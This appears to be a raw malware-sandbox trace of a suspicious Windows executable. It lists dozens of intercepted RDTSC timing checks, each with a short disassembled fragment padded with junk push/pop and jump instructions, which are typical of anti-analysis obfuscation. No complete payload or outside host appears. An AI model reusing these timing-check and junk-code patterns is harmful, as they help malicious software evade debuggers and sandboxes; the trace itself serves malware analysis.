Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D3EA3 second address: 15D3EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D3EA7 second address: 15D3EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 200403F3h 0x0000000f mov dword ptr [ebp+122D2A6Eh], edx 0x00000015 push 6F732159h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F63F87E3389h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D3EDD second address: 15D3EF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F63F87E5456h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D3F98 second address: 15D3F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D407B second address: 15D407F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D41B4 second address: 15D41BE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F63F87E3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D41BE second address: 15D41C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D431C second address: 15D4321 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4321 second address: 15D4379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F63F87E5458h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000004h 0x00000024 jmp 00007F63F87E545Dh 0x00000029 nop 0x0000002a jmp 00007F63F87E545Fh 0x0000002f push eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F63F87E545Eh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D472D second address: 15D4732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4732 second address: 15D4759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5465h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F63F87E5458h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4759 second address: 15D475D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D475D second address: 15D47B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F63F87E5458h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov cx, E054h 0x00000026 push 0000001Eh 0x00000028 sub dh, FFFFFFC4h 0x0000002b add dword ptr [ebp+122D1839h], ecx 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F63F87E5467h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D47B1 second address: 15D47B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D493A second address: 15D493E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4A5F second address: 15D4A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4A63 second address: 15D4A7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jne 00007F63F87E545Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4A7B second address: 15D4A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4A7F second address: 15D4AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push edi 0x00000011 jne 00007F63F87E5456h 0x00000017 pop edi 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007F63F87E5462h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 pushad 0x00000025 jnl 00007F63F87E545Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4BF3 second address: 15D4BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613452 second address: 1613461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F63F87E5462h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613461 second address: 1613476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F63F87E3376h 0x0000000a pushad 0x0000000b jnc 00007F63F87E3376h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613476 second address: 1613481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F63F87E5456h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613481 second address: 16134AB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F63F87E337Ch 0x00000008 jng 00007F63F87E3376h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F63F87E3388h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16138EE second address: 16138F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613A67 second address: 1613A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613A6D second address: 1613A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613BC6 second address: 1613BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnp 00007F63F87E3376h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F63F87E3381h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jo 00007F63F87E3376h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613BEF second address: 1613BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1613E97 second address: 1613EBB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63F87E337Eh 0x00000008 ja 00007F63F87E3376h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F63F87E3380h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1615994 second address: 1615998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1615998 second address: 16159A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B7ED second address: 161B7F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B7F1 second address: 161B814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F63F87E3389h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B814 second address: 161B818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B818 second address: 161B823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B97C second address: 161B980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B980 second address: 161B986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B986 second address: 161B993 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B993 second address: 161B9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F63F87E337Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B9A4 second address: 161B9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161B9AA second address: 161B9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E337Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161BB1A second address: 161BB2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161BB2F second address: 161BB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161C809 second address: 161C80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161C80D second address: 161C813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161F28E second address: 161F293 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161F293 second address: 161F2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3383h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jng 00007F63F87E3376h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161F2B8 second address: 161F2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E5468h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161F413 second address: 161F42E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63F87E3385h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161F70E second address: 161F729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 161F729 second address: 161F72F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1621CE8 second address: 1621CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1621CEC second address: 1621D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3389h 0x00000007 jmp 00007F63F87E3381h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f push edi 0x00000010 jp 00007F63F87E337Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16218BE second address: 16218D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16218D0 second address: 16218DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F63F87E3376h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1625BB0 second address: 1625BBA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F63F87E5456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1625BBA second address: 1625BE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F63F87E3376h 0x00000009 push esi 0x0000000a pop esi 0x0000000b je 00007F63F87E3376h 0x00000011 popad 0x00000012 pushad 0x00000013 jp 00007F63F87E3376h 0x00000019 js 00007F63F87E3376h 0x0000001f jg 00007F63F87E3376h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1625BE1 second address: 1625BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F63F87E5464h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1625BFE second address: 1625C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1625C03 second address: 1625C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16252B6 second address: 16252BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16253F3 second address: 162540D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F63F87E5460h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162540D second address: 1625411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1625411 second address: 1625417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16255C1 second address: 16255E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007F63F87E3385h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16255E1 second address: 1625610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E5463h 0x00000009 jmp 00007F63F87E5466h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1629AE8 second address: 1629AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1628F51 second address: 1628F5C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1628F5C second address: 1628F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1628F62 second address: 1628F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162950F second address: 1629528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F63F87E337Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1629528 second address: 1629544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F63F87E5462h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1629544 second address: 1629554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F63F87E3376h 0x0000000a jg 00007F63F87E3376h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1629554 second address: 1629558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16296C9 second address: 16296CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E2E7 second address: 162E301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F63F87E5456h 0x0000000a pop edi 0x0000000b jno 00007F63F87E545Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E438 second address: 162E470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jo 00007F63F87E3376h 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 jmp 00007F63F87E3388h 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jmp 00007F63F87E337Ah 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E470 second address: 162E4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E545Bh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F63F87E5462h 0x00000013 jnl 00007F63F87E5456h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c jmp 00007F63F87E5460h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E4AF second address: 162E4E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3384h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F63F87E3389h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E611 second address: 162E615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E615 second address: 162E61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E61B second address: 162E621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E621 second address: 162E627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E627 second address: 162E62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E62D second address: 162E631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E631 second address: 162E66E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F63F87E5456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F63F87E5484h 0x00000014 pushad 0x00000015 jng 00007F63F87E5456h 0x0000001b jmp 00007F63F87E5468h 0x00000020 jp 00007F63F87E5456h 0x00000026 popad 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162E94D second address: 162E960 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63F87E3376h 0x00000008 js 00007F63F87E3376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 162EA9E second address: 162EAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
